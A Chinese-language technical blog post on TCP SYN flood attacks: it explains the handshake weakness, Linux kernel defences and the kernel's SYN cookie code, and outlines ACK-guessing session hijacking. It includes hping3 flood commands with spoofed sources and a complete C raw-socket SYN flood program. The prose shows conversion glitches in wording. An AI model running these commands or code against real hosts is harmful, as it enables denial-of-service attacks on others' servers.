扯谈网络编程之Tcp SYN flood洪水攻击

简单介绍

TCP协议要经过三次握手才干建立连接：

(from wiki)

于是出现了对于握手过程进行的攻击。攻击者发送大量的SYN包，server回应(SYN+ACK)包，可是攻击者不回应ACK包，这种话，server不知道(SYN+ACK)是否发送成功，默认情况下会重试5次（tcp_syn_retries）。这种话。对于server的内存。带宽都有非常大的消耗。攻击者假设处于公网。能够伪造IP的话，对于server就非常难依据IP来推断攻击者，给防护带来非常大的困难。

攻与防

攻击者角度

从攻击者的角度来看，有两个地方能够提高server防御的难度的：

• 变换port
• 伪造IP

变换port非常easy做到，攻击者能够使用随意port。

攻击者假设是仅仅有内网IP，是没办法伪造IP的，由于伪造的SYN包会被路由抛弃。攻击者假设是有公网IP，则有可能伪造IP。发出SYN包。（TODO，待很多其它验证）

hping3

hping3是一个非常有名的网络安全工具，使用它能够非常easy构造各种协议包。

用以下的命令能够非常easy就发起SYN攻击：

sudo hping3 --flood -S -p 9999  x.x.x.x
#random source address
sudo hping3 --flood -S --rand-source -p 9999  x.x.x.x

--flood 是不间断发包的意思

-S         是SYN包的意思

很多其它的选项，能够man hping3 查看文档。有具体的说明。

假设是条件同意。能够伪造IP地址的话，能够用--rand-source參数来伪造。

我在实际測试的过程中，能够伪造IP，也能够发送出去。可是server没有回应，从本地路由器的统计数据能够看出是路由器把包给丢弃掉了。

我用两个美国的主机来測试，使用

sudo hping3 --flood -S  -p 9999  x.x.x.x

发现，实际上攻击效果有限，仅仅有网络使用上涨了，server的cpu，内存使用都没有什么变化：

为什么会这样呢？以下再解析。

防御者角度

当可能遇到SYN flood攻击时，syslog，/var/log/syslog里可能会出现以下的日志：

kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies.  Check SNMP counters.

这个也有可能是SNMP协议误报。以下再解析。

从防御者的角度来看，主要有下面的措施：

• 内核參数的调优
• 防火墙禁止掉部分IP

linux内核參数调优主要有以下三个：

• 增大tcp_max_syn_backlog
• 减小tcp_synack_retries
• 启用tcp_syncookies

tcp_max_syn_backlog

从字面上就能够判断出是什么意思。

在内核里有个队列用来存放还没有确认ACK的client请求。当等待的请求数大于tcp_max_syn_backlog时。后面的会被丢弃。

所以，适当增大这个值，能够在压力大的时候提高握手的成功率。

手冊里推荐大于1024。

tcp_synack_retries

这个是三次握手中，server回应ACK给client里，重试的次数。

默认是5。

显然攻击者是不会完毕整个三次握手的。因此server在发出的ACK包在没有回应的情况下。会重试发送。当发送者是伪造IP时。server的ACK回应自然是无效的。

为了防止server做这样的无用功，能够把tcp_synack_retries设置为0或者1。由于对于正常的client。假设它接收不到server回应的ACK包，它会再次发送SYN包，client还是能正常连接的。仅仅是可能在某些情况下建立连接的速度变慢了一点。

tcp_syncookies

依据man tcp手冊，tcp_syncookies是这样解析的：

       tcp_syncookies (Boolean; since Linux 2.2)
              Enable TCP syncookies.  The kernel must be compiled with CONFIG_SYN_COOKIES.  Send out syncookies  when  the
              syn  backlog  queue  of  a socket overflows.  The syncookies feature attempts to protect a socket from a SYN
              flood attack.  This should be used as a last resort, if at all.  This is a violation of  the  TCP  protocol,
              and conflicts with other areas of TCP such as TCP extensions.  It can cause problems for clients and relays.
              It is not recommended as a tuning mechanism for heavily loaded servers to help with overloaded or misconfig‐
              ured   conditions.    For   recommended   alternatives   see  tcp_max_syn_backlog,  tcp_synack_retries,  and
              tcp_abort_on_overflow.

当半连接的请求数量超过了tcp_max_syn_backlog时。内核就会启用SYN cookie机制，不再把半连接请求放到队列里。而是用SYN cookie来检验。

手冊上仅仅给出了模糊的说明。详细的实现没有提到。

linux下SYN cookie的实现

查看了linux的代码（https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c ）后。发现linux的实现并非像wiki上

SYN cookie是很巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程，从而让server的负载能够大大减少。

在三次握手中，当server回应（SYN + ACK）包后，client要回应一个n + 1的ACK到server。当中n是server自己指定的。

当启用tcp_syncookies时，linux内核生成一个特定的n值，而不并把客户的连接放到半连接的队列里（即没有存储不论什么关于这个连接的信息）。当client提交第三次握手的ACK包时，linux内核取出n值，进行校验。假设通过，则觉得这个是一个合法的连接。

n即ISN（initial sequence number）。是一个无符号的32位整数。那么linux内核是怎样把信息记录到这有限的32位里，并完毕校验的？

首先，TCP连接建立时，两方要协商好MSS（Maximum segment size），server要把client在ACK包里发过来的MSS值记录下来。

另外，由于server没有记录ACK包的不论什么信息，实际上是绕过了正常的TCP握手的过程。server仅仅能靠client的第三次握手发过来的ACK包来验证。所以必需要有一个可靠的校验算法，防止攻击者伪造ACK，劫持会话。

linux是这样实现的：

1. 在server上有一个60秒的计时器。即每隔60秒。count加一；

2. MSS是这样子保存起来的，用一个硬编码的数组。保存起一些MSS值：

static __u16 const msstab[] = {
	536,
	1300,
	1440,	/* 1440, 1452: PPPoE */
	1460,
};

比較客户发过来的mms。取一个比客户发过来的值还要小的mms。算法非常easy：

/*
 * Generate a syncookie.  mssp points to the mss, which is returned
 * rounded down to the value encoded in the cookie.
 */
u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th,
			      u16 *mssp)
{
	int mssind;
	const __u16 mss = *mssp;

	for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
		if (mss >= msstab[mssind])
			break;
	*mssp = msstab[mssind];

	return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
				     th->source, th->dest, ntohl(th->seq),
				     mssind);
}

比較客户发过来的mms。取一个比客户发过来的值还要小的mms。

真正的算法在这个函数里：

static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
				   __be16 dport, __u32 sseq, __u32 data)
{
	/*
	 * Compute the secure sequence number.
	 * The output should be:
	 *   HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24)
	 *      + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).
	 * Where sseq is their sequence number and count increases every
	 * minute by 1.
	 * As an extra hack, we add a small "data" value that encodes the
	 * MSS into the second hash value.
	 */
	u32 count = tcp_cookie_time();
	return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
		sseq + (count << COOKIEBITS) +
		((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
		 & COOKIEMASK));
}

data实际上是mss的值相应的数组下标，count是每一分钟会加1，sseq是client发过来的sequence。

这样经过hash和一些加法，得到了一个ISN值，当中里记录了这个连接合适的MSS值。

当接收到client发过来的第三次握手的ACK包时，反向检查就可以：

/*
 * Check if a ack sequence number is a valid syncookie.
 * Return the decoded mss if it is, or 0 if not.
 */
int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th,
		      u32 cookie)
{
	__u32 seq = ntohl(th->seq) - 1;
	__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
					    th->source, th->dest, seq);


	return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
}

先得到原来的seq，再调用check_tcp_syn_cookie函数：

/*
 * This retrieves the small "data" value from the syncookie.
 * If the syncookie is bad, the data returned will be out of
 * range.  This must be checked by the caller.
 *
 * The count value used to generate the cookie must be less than
 * MAX_SYNCOOKIE_AGE minutes in the past.
 * The return value (__u32)-1 if this test fails.
 */
static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
				  __be16 sport, __be16 dport, __u32 sseq)
{
	u32 diff, count = tcp_cookie_time();


	/* Strip away the layers from the cookie */
	cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;


	/* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
	diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS);
	if (diff >= MAX_SYNCOOKIE_AGE)
		return (__u32)-1;


	return (cookie -
		cookie_hash(saddr, daddr, sport, dport, count - diff, 1))
		& COOKIEMASK;	/* Leaving the data behind */
}

先减去之前的一些值，第一个hash和sseq。

然后计算如今的count（每60秒加1的计数器）和之前的发给client，然后client返回过来的count的差：
假设大于MAX_SYNCOOKIE_AGE，即2。即2分钟。则说明已经超时了。

否则。计算得出之前放进去的mss。这样内核就觉得这个是一个合法的TCP连接。而且得到了一个合适的mss值，这样就建立起了一个合法的TCP连接。

能够看到SYN cookie机制十分巧妙地不用不论什么存储，以略消耗CPU实现了对第三次握手的校验。

可是有得必有失。ISN里仅仅存储了MSS值，因此。其他的TCP Option都不会生效，这就是为什么SNMP协议会误报的原因了。

更强大的攻击者

SYN cookie尽管十分巧妙，可是也给攻击者带了新的攻击思路。

由于SYN cookie机制不是正常的TCP三次握手。因此攻击者能够构造一个第三次握手的ACK包，从而劫持会话。

攻击者的思路非常easy。通过暴力发送大量的伪造的第三次握手的ACK包，由于ISN仅仅有32位，攻击者仅仅要发送所有的ISN数据ACK包。总会有一个能够通过server端的校验。

有的人就会问了。即使攻击者成功通过了server的检验，它还是没有办法和server正常通讯啊。由于server回应的包都不会发给攻击者。

刚開始时，我也有这个疑问。可是TCP同意在第三次握手的ACK包里带上后面请求的数据，这样能够加快数据的传输。所以，比方一个httpserver，攻击者能够通过在第三次握手的ACK包里带上http get/post请求。从而完毕攻击。

所以对于server而言。不能仅仅是依靠IP来校验合法的请求，还要通过其他的一些方法来加强校验。比方CSRF等。

值得提醒的是即使是正常的TCP三次握手过程，攻击者还是能够进行会话劫持的，仅仅是概率比SYN cookie的情况下要小非常多。

具体的攻击说明：http://www.91ri.org/7075.html

一个用raw socket SYN flood攻击的代码

以下给出一个tcp syn flood的攻击的代码：

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#pragma pack(1)
struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;

	struct tcphdr tcp;
};
#pragma pack()

unsigned short csum(unsigned short *ptr, int nbytes) {
 long sum;
 unsigned short oddbyte;
 short answer;

 sum = 0;
 while (nbytes > 1) {
   sum += *ptr++;
   nbytes -= 2;
 }
 if (nbytes == 1) {
   oddbyte = 0;
   *((u_char*) &oddbyte) = *(u_char*) ptr;
   sum += oddbyte;
 }

 sum = (sum >> 16) + (sum & 0xffff);
 sum = sum + (sum >> 16);
 answer = (short) ~sum;

 return (answer);
}

void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,
		in_addr_t destination, u_int16_t destinationPort) {
	static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 };
	bzero(sendBuf, sizeof(sendBuf));

	struct iphdr* ipHeader = (iphdr*) sendBuf;
	struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr));

	ipHeader->version = 4;
	ipHeader->ihl = 5;

	ipHeader->tos = 0;
	ipHeader->tot_len = htons(sizeof(sendBuf));

	ipHeader->id = htons(1);
	ipHeader->frag_off = 0;
	ipHeader->ttl = 254;
	ipHeader->protocol = IPPROTO_TCP;
	ipHeader->check = 0;
	ipHeader->saddr = source;
	ipHeader->daddr = destination;

	ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2);

	//TCP Header
	tcph->source = htons(sourcePort);
	tcph->dest = htons(destinationPort);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5; //sizeof(tcphdr)/4
	tcph->fin = 0;
	tcph->syn = 1;
	tcph->rst = 0;
	tcph->psh = 0;
	tcph->ack = 0;
	tcph->urg = 0;
	tcph->window = htons(512);
	tcph->check = 0;
	tcph->urg_ptr = 0;

	//tcp header checksum
	struct pseudo_header pseudoHeader;
	pseudoHeader.source_address = source;
	pseudoHeader.dest_address = destination;
	pseudoHeader.placeholder = 0;
	pseudoHeader.protocol = IPPROTO_TCP;
	pseudoHeader.tcp_length = htons(sizeof(tcphdr));
	memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr));

	tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header));

	struct sockaddr_in sin;
	sin.sin_family = AF_INET;
	sin.sin_port = htons(sourcePort);
	sin.sin_addr.s_addr = destination;

	ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0,
			(struct sockaddr *) &sin, sizeof(sin));
	if (sentLen == -1) {
		perror("sent error");
	}
}

int main(void) {
	//for setsockopt
	int optval = 1;

	//create a raw socket
	int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if (socketfd == -1) {
		perror("create socket:");
		exit(0);
	}
	if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval))
			< 0) {
		perror("create socket:");
		exit(0);
	}

	in_addr_t source = inet_addr("192.168.1.100");
	in_addr_t destination = inet_addr("192.168.1.101");
	u_int16_t sourcePort = 1;
	u_int16_t destinationPort = 9999;
	while (1) {
		oneSyn(socketfd, source, sourcePort++, destination,
				destinationPort);
		sourcePort %= 65535;
		sleep(1);
	}

	return 0;
}

总结：

对于SYN flood攻击，调整以下三个參数就能够防范绝大部分的攻击了。

• 增大tcp_max_syn_backlog
• 减小tcp_synack_retries
• 启用tcp_syncookies

貌似如今的内核默认都是开启tcp_syncookies的。

參考：

http://www.redhat.com/archives/rhl-devel-list/2005-January/msg00447.html

man tcp

http://nixcraft.com/showthread.php/16864-Linux-Howto-test-and-stop-syn-flood-attacks

http://en.wikipedia.org/wiki/SYN_cookies

https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c

http://www.91ri.org/7075.html